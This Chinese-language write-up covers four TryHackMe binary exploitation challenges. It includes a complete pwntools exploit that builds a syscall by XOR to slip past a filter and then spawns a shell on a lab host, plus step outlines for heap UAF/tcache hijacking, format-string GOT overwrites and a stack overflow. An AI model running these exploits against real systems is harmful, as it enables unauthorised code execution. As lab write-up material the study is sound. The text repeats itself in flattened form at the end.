THM:Tryhackmetwo WP
字数 1325 2025-08-22 12:23:24

TryHackMe Two 漏洞利用技术详解

TryExecMe2 分析

程序逻辑分析

  1. 程序会开辟一段可读可写可执行的区域 (RWX)
  2. 向该区域读入0x80字节长度的字符
  3. 通过forbidden函数检查,限制直接系统调用(syscall/sysenter/int 0x80)

绕过限制的技术

  1. 使用异或操作生成syscall指令
  2. 构造read系统调用进行二次写入

利用步骤

  1. 第一阶段shellcode构造:
shellcode = asm("""
    mov rdx, 0x100
    mov r15, rdi
    xor rdi, rdi
    mov rsi, r15
    mov cx, 0x454f
    xor cx, 0x4040
    mov [r15+0x1e], cx
""")

这段代码会:

  • 设置读取长度为0x100
  • 保存原始rdi值
  • 清空rdi
  • 设置rsi为原始rdi值
  • 通过异或生成syscall指令并写入内存
  1. 第二阶段payload构造:
payload = b"\x90"*0x25 + asm(shellcraft.sh())
  • 使用NOP sled (0x90)填充
  • 添加获取shell的shellcode

完整利用代码

from pwn import *
from pwncli import *

context(os='linux', arch='amd64', log_level='debug')

p = remote("10.10.131.135", 5002)

# 第一阶段shellcode
shellcode = asm("""
    mov rdx, 0x100
    mov r15, rdi
    xor rdi, rdi
    mov rsi, r15
    mov cx, 0x454f
    xor cx, 0x4040
    mov [r15+0x1e], cx
""")

p.send(shellcode)
pause()

# 第二阶段payload
payload = b"\x90"*0x25 + asm(shellcraft.sh())
p.send(payload)

p.interactive()

高级技巧

使用pwntools的encode模块避免特定字符:

shellcode = asm(shellcraft.sh())
encoded_shellcode = encode(shellcode, avoid=b"\x0f\xcd")

TryaNote 分析

漏洞分析

  1. delete函数指针free后未置零(UAF)
  2. libc 2.35移除了常见hook利用点

利用步骤

  1. 泄露libc和堆地址:

    • 申请大于0x400的堆块,free后进入unsorted bin
    • 通过show泄露libc地址
    • free小堆块进入tcache,泄露堆地址(注意左移12位)
  2. 劫持tcache_struct:

    • 修改fd指向tcache_struct实现任意地址写
    • 写入特定结构:b"\x07\x00"*0x58 + b"\x00\x00"*8 + p64(_IO_list_all) + p64(heap_base+0x7e0)
  3. House of Apple2利用:

    • 伪造fake_file结构
    • 修改_IO_list_all指向伪造结构
    • 利用程序退出时刷新IO流执行system("/bin/sh")

NotSpecified2 分析

漏洞分析

  1. 格式化字符串漏洞
  2. GOT表可写
  3. 程序执行一次后通过exit退出

利用步骤

  1. 劫持exit的GOT表:

    • 修改为_start实现无限循环利用
  2. 泄露libc基地址:

    • 通过格式化字符串泄露地址
    • 计算one_gadget偏移
  3. 最终利用:

    • 修改exit的GOT表为one_gadget
    • 获取shell

SlowServer 分析

漏洞分析

  1. 服务器监听0.0.0.0:5555
  2. handle_request函数存在:
    • DEBUG方法:格式化字符串漏洞
    • POST方法:栈溢出

利用步骤

  1. 泄露基地址:

    • 通过格式化字符串泄露PIE基地址
    • 注意远程与本地栈差异(建议使用Ubuntu 22.04调试)
  2. 获取交互式shell:

    • 使用dup2(4, 0)和dup2(4, 1)重定向标准输入输出到套接字
    • 或者使用ORW(read/open/write)方式读取flag
  3. 快速定位远程基地址:

    • 编写fuzz脚本匹配末三位地址
    • 排除0x70-0x7f开头的地址

总结

本文详细分析了四个不同的漏洞利用场景,涵盖了:

  1. shellcode绕过限制技术
  2. 堆利用中的UAF和tcache劫持
  3. 格式化字符串漏洞利用
  4. 网络服务中的漏洞组合利用

每种场景都提供了详细的利用步骤和完整代码,关键点包括内存布局理解、绕过技术、地址泄露方法和最终利用链构造。

TryHackMe Two 漏洞利用技术详解 TryExecMe2 分析 程序逻辑分析 程序会开辟一段可读可写可执行的区域 (RWX) 向该区域读入0x80字节长度的字符 通过forbidden函数检查,限制直接系统调用(syscall/sysenter/int 0x80) 绕过限制的技术 使用异或操作生成syscall指令 构造read系统调用进行二次写入 利用步骤 第一阶段shellcode构造: 这段代码会: 设置读取长度为0x100 保存原始rdi值 清空rdi 设置rsi为原始rdi值 通过异或生成syscall指令并写入内存 第二阶段payload构造: 使用NOP sled (0x90)填充 添加获取shell的shellcode 完整利用代码 高级技巧 使用pwntools的encode模块避免特定字符: TryaNote 分析 漏洞分析 delete函数指针free后未置零(UAF) libc 2.35移除了常见hook利用点 利用步骤 泄露libc和堆地址: 申请大于0x400的堆块,free后进入unsorted bin 通过show泄露libc地址 free小堆块进入tcache,泄露堆地址(注意左移12位) 劫持tcache_ struct: 修改fd指向tcache_ struct实现任意地址写 写入特定结构: b"\x07\x00"*0x58 + b"\x00\x00"*8 + p64(_IO_list_all) + p64(heap_base+0x7e0) House of Apple2利用: 伪造fake_ file结构 修改_ IO_ list_ all指向伪造结构 利用程序退出时刷新IO流执行system("/bin/sh") NotSpecified2 分析 漏洞分析 格式化字符串漏洞 GOT表可写 程序执行一次后通过exit退出 利用步骤 劫持exit的GOT表: 修改为_ start实现无限循环利用 泄露libc基地址: 通过格式化字符串泄露地址 计算one_ gadget偏移 最终利用: 修改exit的GOT表为one_ gadget 获取shell SlowServer 分析 漏洞分析 服务器监听0.0.0.0:5555 handle_ request函数存在: DEBUG方法:格式化字符串漏洞 POST方法:栈溢出 利用步骤 泄露基地址: 通过格式化字符串泄露PIE基地址 注意远程与本地栈差异(建议使用Ubuntu 22.04调试) 获取交互式shell: 使用dup2(4, 0)和dup2(4, 1)重定向标准输入输出到套接字 或者使用ORW(read/open/write)方式读取flag 快速定位远程基地址: 编写fuzz脚本匹配末三位地址 排除0x70-0x7f开头的地址 总结 本文详细分析了四个不同的漏洞利用场景,涵盖了: shellcode绕过限制技术 堆利用中的UAF和tcache劫持 格式化字符串漏洞利用 网络服务中的漏洞组合利用 每种场景都提供了详细的利用步骤和完整代码,关键点包括内存布局理解、绕过技术、地址泄露方法和最终利用链构造。